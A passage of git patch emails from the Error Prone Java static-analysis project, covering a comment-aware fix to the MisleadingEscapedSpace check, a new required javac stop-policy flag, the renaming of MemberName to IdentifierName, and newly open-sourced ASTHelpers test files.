b/core/src/main/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpace.java @@ -19,12 +19,15 @@ import static com.google.errorprone.BugPattern.SeverityLevel.ERROR; import static com.google.errorprone.matchers.Description.NO_MATCH; import static com.google.errorprone.util.SourceVersion.supportsTextBlocks; +import static java.util.stream.Collectors.joining; import com.google.errorprone.BugPattern; import com.google.errorprone.VisitorState; import com.google.errorprone.bugpatterns.BugChecker.LiteralTreeMatcher; import com.google.errorprone.matchers.Description; +import com.google.errorprone.util.ErrorProneTokens; import com.sun.source.tree.LiteralTree; +import com.sun.tools.javac.parser.Tokens.TokenKind; /** See the summary. */ @BugPattern( @@ -50,15 +53,26 @@ public Description matchLiteral(LiteralTree tree, VisitorState state) { return NO_MATCH; } String source = state.getSourceForNode(tree); + // Tokenize the source to make sure we omit comments. Desugaring of "a" + "b" into a single + // string literal happens really early in compilation, and we want to ensure we don't match + // on any "\s" in comments. + // This is quite ugly in that we end up with a string that looks like "foo""bar", i.e. + // including the quotes, but that doesn't matter for this check. + var tokens = ErrorProneTokens.getTokens(source, state.context); + var literal = + tokens.stream() + .filter(t -> t.kind().equals(TokenKind.STRINGLITERAL)) + .map(t -> source.substring(t.pos(), t.endPos())) + .collect(joining()); boolean seenEscape = false; - for (int i = 0; i < source.length(); ++i) { - switch (source.charAt(i)) { + for (int i = 0; i < literal.length(); ++i) { + switch (literal.charAt(i)) { case '\n': seenEscape = false; break; case '\\': i++; - if (source.charAt(i) == 's') { + if (literal.charAt(i) == 's') { seenEscape = true; break; } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpaceTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpaceTest.java index 808edea9e61..348a4058640 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpaceTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpaceTest.java @@ -126,4 +126,18 @@ class Test { }""") .doTest(); } + + @Test + public void withinCommentInBrokenUpString_noFinding() { + assume().that(Runtime.version().feature()).isAtLeast(14); + + testHelper + .addSourceLines( + "Test.class", + """ + class Test { + private static final String FOO = "foo" + /* \\s */ " bar"; + }""") + .doTest(); + } } From 5828416d06cd4247b2dc575a593621f07a35f0b5 Mon Sep 17 00:00:00 2001 From: Liam Miller-Cushon Date: Tue, 15 Oct 2024 07:48:38 -0700 Subject: [PATCH 15/25] Check that `-XDshould-stop.ifError=FLOW` is set when running Error Prone This is necessary to ensure javac compiles the 'flow' phase for subsequent compilation units after Error Prone reports diagnostics. The 'flow' phase is necessary among other things to set `EFFECTIVELY_FINAL`. Configuring a later stop policy also causes more diagnostics to be shown at once for failing builds when using `-XDcompilePolicy=simple`, which is helpful. https://github.com/google/error-prone/issues/4595 RELNOTES=The javac flag `-XDshould-stop.ifError=FLOW` is now required when running Error Prone, see #4595 PiperOrigin-RevId: 686102738 --- .../BaseErrorProneJavaCompiler.java | 25 ++++++ .../ErrorProneCompilerIntegrationTest.java | 81 +++++++++++++++++++ 2 files changed, 106 insertions(+) diff --git a/check_api/src/main/java/com/google/errorprone/BaseErrorProneJavaCompiler.java b/check_api/src/main/java/com/google/errorprone/BaseErrorProneJavaCompiler.java index 5c90bdc0001..6778d2d4190 100644 --- a/check_api/src/main/java/com/google/errorprone/BaseErrorProneJavaCompiler.java +++ b/check_api/src/main/java/com/google/errorprone/BaseErrorProneJavaCompiler.java @@ -23,6 +23,7 @@ import com.sun.source.util.JavacTask; import com.sun.tools.javac.api.BasicJavacTask; import com.sun.tools.javac.api.JavacTool; +import com.sun.tools.javac.comp.CompileStates.CompileState; import com.sun.tools.javac.util.Context; import com.sun.tools.javac.util.JavacMessages; import com.sun.tools.javac.util.Options; @@ -70,6 +71,7 @@ public CompilationTask getTask( ImmutableList javacOpts = errorProneOptions.getRemainingArgs(); javacOpts = defaultToLatestSupportedLanguageLevel(javacOpts); javacOpts = setCompilePolicyToByFile(javacOpts); + javacOpts = setShouldStopIfErrorPolicyToFlow(javacOpts); JavacTask task = (JavacTask) javacTool.getTask( @@ -194,6 +196,29 @@ private static ImmutableList setCompilePolicyToByFile(ImmutableListbuilder().addAll(args).add("-XDcompilePolicy=simple").build(); } + private static void checkShouldStopIfErrorPolicy(String value) { + CompileState state = CompileState.valueOf(value); + if (CompileState.FLOW.isAfter(state)) { + throw new InvalidCommandLineOptionException( + String.format( + "-XDshould-stop.ifError=%s is not supported by Error Prone, pass" + + " -XDshould-stop.ifError=FLOW instead", + state)); + } + } + + private static ImmutableList setShouldStopIfErrorPolicyToFlow( + ImmutableList args) { + for (String arg : args) { + if (arg.startsWith("-XDshould-stop.ifError")) { + String value = arg.substring(arg.indexOf('=') + 1); + checkShouldStopIfErrorPolicy(value); + return args; // don't do anything if a valid policy is already set + } + } + return ImmutableList.builder().addAll(args).add("-XDshould-stop.ifError=FLOW").build(); + } + /** Registers our message bundle. */ public static void setupMessageBundle(Context context) { ResourceBundle bundle = ResourceBundle.getBundle("com.google.errorprone.errors"); diff --git a/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java b/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java index 824104ffbc6..ef52380e3be 100644 --- a/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java +++ b/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java @@ -39,10 +39,12 @@ import com.google.errorprone.bugpatterns.BugChecker.MethodInvocationTreeMatcher; import com.google.errorprone.bugpatterns.BugChecker.MethodTreeMatcher; import com.google.errorprone.bugpatterns.BugChecker.ReturnTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.VariableTreeMatcher; import com.google.errorprone.bugpatterns.NonAtomicVolatileUpdate; import com.google.errorprone.matchers.Description; import com.google.errorprone.scanner.BuiltInCheckerSuppliers; import com.google.errorprone.scanner.ScannerSupplier; +import com.google.errorprone.util.ASTHelpers; import com.sun.source.tree.ExpressionStatementTree; import com.sun.source.tree.IdentifierTree; import com.sun.source.tree.MemberSelectTree; @@ -50,6 +52,7 @@ import com.sun.source.tree.MethodTree; import com.sun.source.tree.ReturnTree; import com.sun.source.tree.Tree; +import com.sun.source.tree.VariableTree; import com.sun.tools.javac.main.Main.Result; import java.io.PrintWriter; import java.io.StringWriter; @@ -669,4 +672,82 @@ public class Test { outputStream.flush(); assertWithMessage(outputStream.toString()).that(exitCode).isEqualTo(Result.OK); } + + @BugPattern(summary = "All variables should be effectively final", severity = ERROR) + public static class EffectivelyFinalChecker extends BugChecker implements VariableTreeMatcher { + @Override + public Description matchVariable(VariableTree tree, VisitorState state) { + if (ASTHelpers.isConsideredFinal(ASTHelpers.getSymbol(tree))) { + return NO_MATCH; + } + return describeMatch(tree); + } + } + + @Test + public void stopPolicy_effectivelyFinal() { + compilerBuilder.report( + ScannerSupplier.fromBugCheckerClasses(EffectivelyFinalChecker.class, CPSChecker.class)); + compiler = compilerBuilder.build(); + // Without -XDshould-stop.ifError=FLOW, the errors reported by CPSChecker will cause javac to + // stop processing B after an error is reported in A. Error Prone will still analyze B without + // it having gone through 'flow', and the EFFECTIVELY_FINAL analysis will not have happened. + // see https://github.com/google/error-prone/issues/4595 + Result exitCode = + compiler.compile( + ImmutableList.of( + forSourceLines( + "A.java", + """ + class A { + int f(int x) { + return x; + } + } + """), + forSourceLines( + "B.java", + """ + class B { + int f(int x) { + return x; + } + } + """))); + + outputStream.flush(); + assertWithMessage(outputStream.toString()).that(exitCode).isEqualTo(Result.ERROR); + + assertThat(diagnosticHelper.getDiagnostics()).hasSize(2); + assertWithMessage("Error should be found. " + diagnosticHelper.describe()) + .that(diagnosticHelper.getDiagnostics()) + .comparingElementsUsing(DIAGNOSTIC_CONTAINING) + .containsExactly("[CPSChecker]", "[CPSChecker]"); + } + + @Test + public void stopPolicy_flow() { + Result exitCode = + compiler.compile( + new String[] {"-XDshould-stop.ifError=FLOW"}, + ImmutableList.of( + forSourceLines( + "Test.java", + """ + package test; + class Test {} + """))); + outputStream.flush(); + assertWithMessage(outputStream.toString()).that(exitCode).isEqualTo(Result.OK); + } + + @Test + public void stopPolicy_init() { + InvalidCommandLineOptionException e = + assertThrows( + InvalidCommandLineOptionException.class, + () -> + compiler.compile(new String[] {"-XDshould-stop.ifError=INIT"}, ImmutableList.of())); + assertThat(e).hasMessageThat().contains("-XDshould-stop.ifError=INIT is not supported"); + } } From 4f630fc668d107b7801281ce527e1a83a782dc1b Mon Sep 17 00:00:00 2001 From: ghm Date: Tue, 15 Oct 2024 11:01:20 -0700 Subject: [PATCH 16/25] Rename MemberName to SymbolName, given it's handling classes too now. SymbolName feels a bit cheesy: symbol is a very javac concept. I'd welcome better suggestions. PiperOrigin-RevId: 686166562 --- .../bugpatterns/{MemberName.java => IdentifierName.java} | 3 ++- .../errorprone/scanner/BuiltInCheckerSuppliers.java | 4 ++-- .../{MemberNameTest.java => IdentifierNameTest.java} | 8 ++++---- docs/bugpattern/{MemberName.md => IdentifierName.md} | 2 +- 4 files changed, 9 insertions(+), 8 deletions(-) rename core/src/main/java/com/google/errorprone/bugpatterns/{MemberName.java => IdentifierName.java} (99%) rename core/src/test/java/com/google/errorprone/bugpatterns/{MemberNameTest.java => IdentifierNameTest.java} (98%) rename docs/bugpattern/{MemberName.md => IdentifierName.md} (98%) diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/MemberName.java b/core/src/main/java/com/google/errorprone/bugpatterns/IdentifierName.java similarity index 99% rename from core/src/main/java/com/google/errorprone/bugpatterns/MemberName.java rename to core/src/main/java/com/google/errorprone/bugpatterns/IdentifierName.java index 38a81576398..a34c5f1ef3b 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/MemberName.java +++ b/core/src/main/java/com/google/errorprone/bugpatterns/IdentifierName.java @@ -67,9 +67,10 @@ @BugPattern( severity = WARNING, summary = "Methods and non-static variables should be named in lowerCamelCase", + altNames = {"MemberName"}, linkType = CUSTOM, link = "https://google.github.io/styleguide/javaguide.html#s5.2-specific-identifier-names") -public final class MemberName extends BugChecker +public final class IdentifierName extends BugChecker implements ClassTreeMatcher, MethodTreeMatcher, VariableTreeMatcher { private static final Supplier> EXEMPTED_CLASS_ANNOTATIONS = VisitorState.memoize( diff --git a/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java b/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java index 63501d2466b..6cb6218f418 100644 --- a/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java +++ b/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java @@ -166,6 +166,7 @@ import com.google.errorprone.bugpatterns.HashtableContains; import com.google.errorprone.bugpatterns.HidingField; import com.google.errorprone.bugpatterns.ICCProfileGetInstance; +import com.google.errorprone.bugpatterns.IdentifierName; import com.google.errorprone.bugpatterns.IdentityBinaryExpression; import com.google.errorprone.bugpatterns.IdentityHashMapBoxing; import com.google.errorprone.bugpatterns.IdentityHashMapUsage; @@ -232,7 +233,6 @@ import com.google.errorprone.bugpatterns.LossyPrimitiveCompare; import com.google.errorprone.bugpatterns.MathAbsoluteNegative; import com.google.errorprone.bugpatterns.MathRoundIntLong; -import com.google.errorprone.bugpatterns.MemberName; import com.google.errorprone.bugpatterns.MemoizeConstantVisitorStateLookups; import com.google.errorprone.bugpatterns.MethodCanBeStatic; import com.google.errorprone.bugpatterns.MisformattedTestData; @@ -1178,6 +1178,7 @@ public static ScannerSupplier warningChecks() { ForEachIterable.class, FunctionalInterfaceClash.class, HardCodedSdCardPath.class, + IdentifierName.class, ImmutableMemberCollection.class, ImmutableRefactoring.class, ImmutableSetForContains.class, @@ -1193,7 +1194,6 @@ public static ScannerSupplier warningChecks() { Java8ApiChecker.class, LambdaFunctionalInterface.class, LongLiteralLowerCaseSuffix.class, - MemberName.class, MethodCanBeStatic.class, MissingBraces.class, MissingDefault.class, diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MemberNameTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/IdentifierNameTest.java similarity index 98% rename from core/src/test/java/com/google/errorprone/bugpatterns/MemberNameTest.java rename to core/src/test/java/com/google/errorprone/bugpatterns/IdentifierNameTest.java index 509d93dcbf4..31d3f0ec22a 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MemberNameTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/IdentifierNameTest.java @@ -22,13 +22,13 @@ import org.junit.runner.RunWith; import org.junit.runners.JUnit4; -/** Tests for {@link MemberName}. */ +/** Tests for {@link IdentifierName}. */ @RunWith(JUnit4.class) -public class MemberNameTest { +public class IdentifierNameTest { private final CompilationTestHelper helper = - CompilationTestHelper.newInstance(MemberName.class, getClass()); + CompilationTestHelper.newInstance(IdentifierName.class, getClass()); private final BugCheckerRefactoringTestHelper refactoringHelper = - BugCheckerRefactoringTestHelper.newInstance(MemberName.class, getClass()); + BugCheckerRefactoringTestHelper.newInstance(IdentifierName.class, getClass()); @Test public void nameWithUnderscores() { diff --git a/docs/bugpattern/MemberName.md b/docs/bugpattern/IdentifierName.md similarity index 98% rename from docs/bugpattern/MemberName.md rename to docs/bugpattern/IdentifierName.md index aa84c0ee3f4..206b870fbe3 100644 --- a/docs/bugpattern/MemberName.md +++ b/docs/bugpattern/IdentifierName.md @@ -1,4 +1,4 @@ -The [Google Java Style Guide §5.2][style] provides rules for naming nembers. +The [Google Java Style Guide §5.2][style] provides rules for naming identifiers. ## Test methods From c897d8f4cd5ab310af4dca63bf1acf2d10f6f49f Mon Sep 17 00:00:00 2001 From: Liam Miller-Cushon Date: Wed, 16 Oct 2024 06:37:38 -0700 Subject: [PATCH 17/25] Open-source more of check_api/src/test/java/com/google/errorprone/util These tests still don't compile due to a cycle between test_helpers and check_api PiperOrigin-RevId: 686487416 --- check_api/pom.xml | 9 + .../util/ASTHelpersFindSuperMethodsTest.java | 229 ++ .../errorprone/util/ASTHelpersTest.java | 2002 +++++++++++++++++ .../google/errorprone/util/CommentsTest.java | 595 +++++ .../errorprone/util/FindIdentifiersTest.java | 1135 ++++++++++ .../errorprone/util/MoreAnnotationsTest.java | 226 ++ .../errorprone/util/ReachabilityTest.java | 326 +++ 7 files changed, 4522 insertions(+) create mode 100644 check_api/src/test/java/com/google/errorprone/util/ASTHelpersFindSuperMethodsTest.java create mode 100644 check_api/src/test/java/com/google/errorprone/util/ASTHelpersTest.java create mode 100644 check_api/src/test/java/com/google/errorprone/util/CommentsTest.java create mode 100644 check_api/src/test/java/com/google/errorprone/util/FindIdentifiersTest.java create mode 100644 check_api/src/test/java/com/google/errorprone/util/MoreAnnotationsTest.java create mode 100644 check_api/src/test/java/com/google/errorprone/util/ReachabilityTest.java diff --git a/check_api/pom.xml b/check_api/pom.xml index 8a24c1a48fd..061e83e0e6b 100644 --- a/check_api/pom.xml +++ b/check_api/pom.xml @@ -162,6 +162,15 @@ ${autoservice.version} + + + **/ASTHelpersFindSuperMethodsTest.java + **/ASTHelpersTest.java + **/CommentsTest.java + **/FindIdentifiersTest.java + **/MoreAnnotationsTest.java + **/ReachabilityTest.java + diff --git a/check_api/src/test/java/com/google/errorprone/util/ASTHelpersFindSuperMethodsTest.java b/check_api/src/test/java/com/google/errorprone/util/ASTHelpersFindSuperMethodsTest.java new file mode 100644 index 00000000000..980f1ddc2ff --- /dev/null +++ b/check_api/src/test/java/com/google/errorprone/util/ASTHelpersFindSuperMethodsTest.java @@ -0,0 +1,229 @@ +/* + * Copyright 2017 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.util; + +import static com.google.common.truth.Truth.assertThat; + +import com.google.common.collect.HashBasedTable; +import com.google.common.collect.ImmutableList; +import com.google.common.collect.Table; +import com.google.errorprone.VisitorState; +import com.google.errorprone.matchers.CompilerBasedAbstractTest; +import com.google.errorprone.scanner.Scanner; +import com.sun.source.tree.MethodTree; +import com.sun.source.tree.Tree; +import com.sun.tools.javac.code.Symbol.MethodSymbol; +import com.sun.tools.javac.code.Types; +import java.util.Optional; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** + * Test cases for {@link ASTHelpers#findSuperMethod(MethodSymbol, Types)} and {@link + * ASTHelpers#findSuperMethod(MethodSymbol, Types)}. + * + * @author Łukasz Hanuszczak (hanuszczak@google.com) + */ +@RunWith(JUnit4.class) +public final class ASTHelpersFindSuperMethodsTest extends CompilerBasedAbstractTest { + + private FindSuperMethodsTestScanner scanner; + + @Before + public void prepareScanClassHierarchy() { + writeFile( + "Foo.java", + """ + abstract class Foo { + public abstract void foo(); + } + """); + writeFile( + "Bar.java", + """ + class Bar extends Foo { + @Override + public void foo() { + System.out.println("bar"); + } + } + """); + writeFile( + "Baz.java", + """ + class Baz extends Bar { + @Override + public void foo() { + System.out.println("baz"); + } + } + """); + writeFile( + "Quux.java", + """ + class Quux extends Baz { + public void foo(String string) { + System.out.println("I am not an override! " + string); + } + + public int bar(int x, int y) { + return x * y; + } + } + """); + writeFile( + "Norf.java", + """ + class Norf extends Quux { + @Override + public void foo() { + System.out.println("norf"); + } + + @Override + public int bar(int x, int y) { + return super.bar(x, y) + 42; + } + } + """); + + scanner = new FindSuperMethodsTestScanner(); + assertCompiles(scanner); + } + + @Test + public void findSuperMethods_findsSingleMethod() { + MethodSymbol barOfNorf = scanner.getMethod("Norf", "bar"); + MethodSymbol barOfQuux = scanner.getMethod("Quux", "bar"); + assertThat(findSuperMethods(barOfNorf)).containsExactly(barOfQuux); + } + + @Test + public void findSuperMethods_findsAllMethodsInTheHierarchy() { + MethodSymbol fooOfNorf = scanner.getMethod("Norf", "foo"); + MethodSymbol fooOfBaz = scanner.getMethod("Baz", "foo"); + MethodSymbol fooOfBar = scanner.getMethod("Bar", "foo"); + MethodSymbol fooOfQuux = scanner.getMethod("Foo", "foo"); + assertThat(findSuperMethods(fooOfNorf)) + .containsExactly(fooOfBaz, fooOfBar, fooOfQuux) + .inOrder(); + } + + @Test + public void findSuperMethod_findsNothingForAbstractMethod() { + MethodSymbol fooOfFoo = scanner.getMethod("Foo", "foo"); + assertThat(findSuperMethod(fooOfFoo)).isEqualTo(Optional.empty()); + } + + @Test + public void findSuperMethod_findsNothingForNewNonAbstractMethod() { + MethodSymbol barOfQuux = scanner.getMethod("Quux", "bar"); + assertThat(findSuperMethod(barOfQuux)).isEqualTo(Optional.empty()); + } + + @Test + public void findSuperMethod_findsAbstractSuperMethod() { + MethodSymbol fooOfFoo = scanner.getMethod("Foo", "foo"); + MethodSymbol fooOfBar = scanner.getMethod("Bar", "foo"); + assertThat(findSuperMethod(fooOfBar)).isEqualTo(Optional.of(fooOfFoo)); + } + + @Test + public void findSuperMethod_findsNormalSuperMethodForDirectSuperclass() { + MethodSymbol fooOfBar = scanner.getMethod("Bar", "foo"); + MethodSymbol fooOfBaz = scanner.getMethod("Baz", "foo"); + assertThat(findSuperMethod(fooOfBaz)).isEqualTo(Optional.of(fooOfBar)); + + MethodSymbol barOfQuux = scanner.getMethod("Quux", "bar"); + MethodSymbol barOfNorf = scanner.getMethod("Norf", "bar"); + assertThat(findSuperMethod(barOfNorf)).isEqualTo(Optional.of(barOfQuux)); + } + + @Test + public void findSuperMethod_findsNormalSuperMethodForNonDirectSuperclass() { + MethodSymbol fooOfBaz = scanner.getMethod("Baz", "foo"); + MethodSymbol fooOfNorf = scanner.getMethod("Norf", "foo"); + assertThat(findSuperMethod(fooOfNorf)).isEqualTo(Optional.of(fooOfBaz)); + } + + private ImmutableList findSuperMethods(MethodSymbol method) { + return ImmutableList.copyOf(ASTHelpers.findSuperMethods(method, getTypes())); + } + + private Optional findSuperMethod(MethodSymbol method) { + return ASTHelpers.findSuperMethod(method, getTypes()); + } + + private Types getTypes() { + return scanner.getState().getTypes(); + } + + /** + * A quite hacky class used to assert things in {@link ASTHelpersFindSuperMethodsTest}. + * + *

This does two things: it builds a mapping from class names and method names to method + * symbols (for easy assertions) and keeps track of the last visited {@link VisitorState}. + * + *

We cannot do assertions in the {@link Scanner#scan(Tree, VisitorState)} like all the other + * test cases do because we need data from all processed classes (and {@link Scanner#scan(Tree, + * VisitorState)} is triggered for every single class). Therefore we need to make all assertions + * in the test method itself but {@link ASTHelpers#findSuperMethods(MethodSymbol, Types)} requires + * a {@link VisitorState} to be used. So we simply remember last state passed to the {@link + * Scanner#scan(Tree, VisitorState)}. + */ + private static class FindSuperMethodsTestScanner extends Scanner { + + // A `class name -> method name -> method symbol` structure mapping of given files. + private final Table methods; + + // Last state passed to the `Scanner#scan` method. + private VisitorState state; + + public FindSuperMethodsTestScanner() { + this.methods = HashBasedTable.create(); + } + + public MethodSymbol getMethod(String className, String methodName) { + return methods.get(className, methodName); + } + + public VisitorState getState() { + return state; + } + + @Override + public Void scan(Tree tree, VisitorState state) { + this.state = state; + return super.scan(tree, state); + } + + @Override + public Void visitMethod(MethodTree methodTree, VisitorState state) { + String classContext = ASTHelpers.getSymbol(methodTree).owner.getSimpleName().toString(); + String methodContext = methodTree.getName().toString(); + + MethodSymbol method = ASTHelpers.getSymbol(methodTree); + if (!methods.contains(classContext, methodContext)) { + methods.put(classContext, methodContext, method); + } + + return super.visitMethod(methodTree, state); + } + } +} diff --git a/check_api/src/test/java/com/google/errorprone/util/ASTHelpersTest.java b/check_api/src/test/java/com/google/errorprone/util/ASTHelpersTest.java new file mode 100644 index 00000000000..6b3a968c8e5 --- /dev/null +++ b/check_api/src/test/java/com/google/errorprone/util/ASTHelpersTest.java @@ -0,0 +1,2002 @@ +/* + * Copyright 2013 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.util; + +import static com.google.common.collect.ImmutableSet.toImmutableSet; +import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; +import static com.google.errorprone.BugPattern.SeverityLevel.ERROR; +import static com.google.errorprone.BugPattern.SeverityLevel.WARNING; +import static com.google.errorprone.util.ASTHelpers.getStartPosition; +import static java.lang.annotation.ElementType.FIELD; +import static java.lang.annotation.ElementType.LOCAL_VARIABLE; +import static java.lang.annotation.ElementType.METHOD; +import static java.lang.annotation.ElementType.PARAMETER; +import static java.lang.annotation.ElementType.TYPE_USE; +import static java.util.stream.Collectors.joining; +import static org.junit.Assert.assertThrows; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; + +import com.google.common.base.Joiner; +import com.google.common.base.Verify; +import com.google.common.collect.ImmutableList; +import com.google.common.collect.ImmutableSet; +import com.google.common.collect.Iterables; +import com.google.errorprone.BugPattern; +import com.google.errorprone.BugPattern.SeverityLevel; +import com.google.errorprone.CompilationTestHelper; +import com.google.errorprone.VisitorState; +import com.google.errorprone.bugpatterns.BugChecker; +import com.google.errorprone.bugpatterns.BugChecker.IdentifierTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.MemberReferenceTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.MethodInvocationTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.MethodTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.ParameterizedTypeTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.VariableTreeMatcher; +import com.google.errorprone.fixes.SuggestedFix; +import com.google.errorprone.matchers.CompilerBasedAbstractTest; +import com.google.errorprone.matchers.Description; +import com.google.errorprone.matchers.Matcher; +import com.google.errorprone.matchers.Matchers; +import com.google.errorprone.matchers.method.MethodMatchers; +import com.google.errorprone.scanner.Scanner; +import com.google.errorprone.util.ASTHelpers.TargetType; +import com.google.errorprone.util.ASTHelpers.TargetTypeVisitor; +import com.sun.source.tree.AnnotatedTypeTree; +import com.sun.source.tree.AnnotationTree; +import com.sun.source.tree.ClassTree; +import com.sun.source.tree.ExpressionStatementTree; +import com.sun.source.tree.ExpressionTree; +import com.sun.source.tree.IdentifierTree; +import com.sun.source.tree.LiteralTree; +import com.sun.source.tree.MemberReferenceTree; +import com.sun.source.tree.MemberSelectTree; +import com.sun.source.tree.MethodInvocationTree; +import com.sun.source.tree.MethodTree; +import com.sun.source.tree.ModifiersTree; +import com.sun.source.tree.ModuleTree; +import com.sun.source.tree.NewArrayTree; +import com.sun.source.tree.NewClassTree; +import com.sun.source.tree.PackageTree; +import com.sun.source.tree.ParameterizedTypeTree; +import com.sun.source.tree.ReturnTree; +import com.sun.source.tree.Tree; +import com.sun.source.tree.TypeParameterTree; +import com.sun.source.tree.VariableTree; +import com.sun.source.util.TreePathScanner; +import com.sun.tools.javac.api.BasicJavacTask; +import com.sun.tools.javac.api.JavacTool; +import com.sun.tools.javac.code.Symbol; +import com.sun.tools.javac.code.Symbol.ClassSymbol; +import com.sun.tools.javac.code.Symbol.MethodSymbol; +import com.sun.tools.javac.code.Symbol.PackageSymbol; +import com.sun.tools.javac.code.Symbol.VarSymbol; +import com.sun.tools.javac.code.Type; +import com.sun.tools.javac.code.Type.TypeVar; +import com.sun.tools.javac.main.Main.Result; +import com.sun.tools.javac.model.JavacElements; +import com.sun.tools.javac.tree.JCTree.JCLiteral; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.function.Function; +import java.util.regex.Pattern; +import java.util.stream.Collectors; +import javax.lang.model.element.ElementKind; +import org.junit.After; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Tests for {@link ASTHelpers}. */ +@RunWith(JUnit4.class) +public class ASTHelpersTest extends CompilerBasedAbstractTest { + + // For tests that expect a specific offset in the file, we test with both Windows and UNIX + // line separators, but we hardcode the line separator in the tests to ensure the tests are + // hermetic and do not depend on the platform on which they are run. + private static final Joiner UNIX_LINE_JOINER = Joiner.on("\n"); + private static final Joiner WINDOWS_LINE_JOINER = Joiner.on("\r\n"); + + final List tests = new ArrayList<>(); + + @After + public void tearDown() { + for (TestScanner test : tests) { + test.verifyAssertionsComplete(); + } + } + + @Test + public void getStartPositionUnix() { + String fileContent = + UNIX_LINE_JOINER.join( + "public class A { ", " public void foo() {", " int i;", " i = -1;", " }", "}"); + writeFile("A.java", fileContent); + assertCompiles(literalExpressionMatches(literalHasStartPosition(59))); + } + + @Test + public void getStartPositionWindows() { + String fileContent = + WINDOWS_LINE_JOINER.join( + "public class A { ", " public void foo() {", " int i;", " i = -1;", " }", "}"); + writeFile("A.java", fileContent); + assertCompiles(literalExpressionMatches(literalHasStartPosition(62))); + } + + @Test + public void getStartPositionWithWhitespaceUnix() { + String fileContent = + UNIX_LINE_JOINER.join( + "public class A { ", + " public void foo() {", + " int i;", + " i = - 1;", + " }", + "}"); + writeFile("A.java", fileContent); + assertCompiles(literalExpressionMatches(literalHasStartPosition(59))); + } + + @Test + public void getStartPositionWithWhitespaceWindows() { + String fileContent = + WINDOWS_LINE_JOINER.join( + "public class A { ", + " public void foo() {", + " int i;", + " i = - 1;", + " }", + "}"); + writeFile("A.java", fileContent); + assertCompiles(literalExpressionMatches(literalHasStartPosition(62))); + } + + private Matcher literalHasStartPosition(int startPosition) { + return (LiteralTree tree, VisitorState state) -> { + JCLiteral literal = (JCLiteral) tree; + return literal.getStartPosition() == startPosition; + }; + } + + private Scanner literalExpressionMatches(Matcher matcher) { + TestScanner scanner = + new TestScanner() { + @Override + public Void visitLiteral(LiteralTree node, VisitorState state) { + assertMatch(node, state, matcher); + setAssertionsComplete(); + return super.visitLiteral(node, state); + } + }; + tests.add(scanner); + return scanner; + } + + @Test + public void getReceiver() { + writeFile( + "A.java", + """ + package p; + public class A { + public B b; + public void foo() {} + public B bar() { + return null; + } + } + """); + writeFile( + "B.java", + """ + package p; + public class B { + public static void bar() {} + public void foo() {} + } + """); + writeFile( + "C.java", + "package p;", + "import static p.B.bar;", + "public class C { ", + " public static void foo() {}", + " public void test() {", + " A a = new A();", + " a.foo();", // a + " a.b.foo();", // a.b + " a.bar().foo();", // a.bar() + " this.test();", // this + " test();", // null + " C.foo();", // C + " foo();", // null + " C c = new C();", + " c.foo();", // c + " bar();", // null + " }", + "}"); + assertCompiles(expressionStatementMatches("a.foo()", expressionHasReceiverAndType("a", "p.A"))); + assertCompiles( + expressionStatementMatches("a.b.foo()", expressionHasReceiverAndType("a.b", "p.B"))); + assertCompiles( + expressionStatementMatches( + "a.bar().foo()", expressionHasReceiverAndType("a.bar()", "p.B"))); + assertCompiles( + expressionStatementMatches("this.test()", expressionHasReceiverAndType("this", "p.C"))); + assertCompiles(expressionStatementMatches("test()", expressionHasReceiverAndType(null, "p.C"))); + assertCompiles(expressionStatementMatches("C.foo()", expressionHasReceiverAndType("C", "p.C"))); + assertCompiles(expressionStatementMatches("foo()", expressionHasReceiverAndType(null, "p.C"))); + assertCompiles(expressionStatementMatches("c.foo()", expressionHasReceiverAndType("c", "p.C"))); + assertCompiles(expressionStatementMatches("bar()", 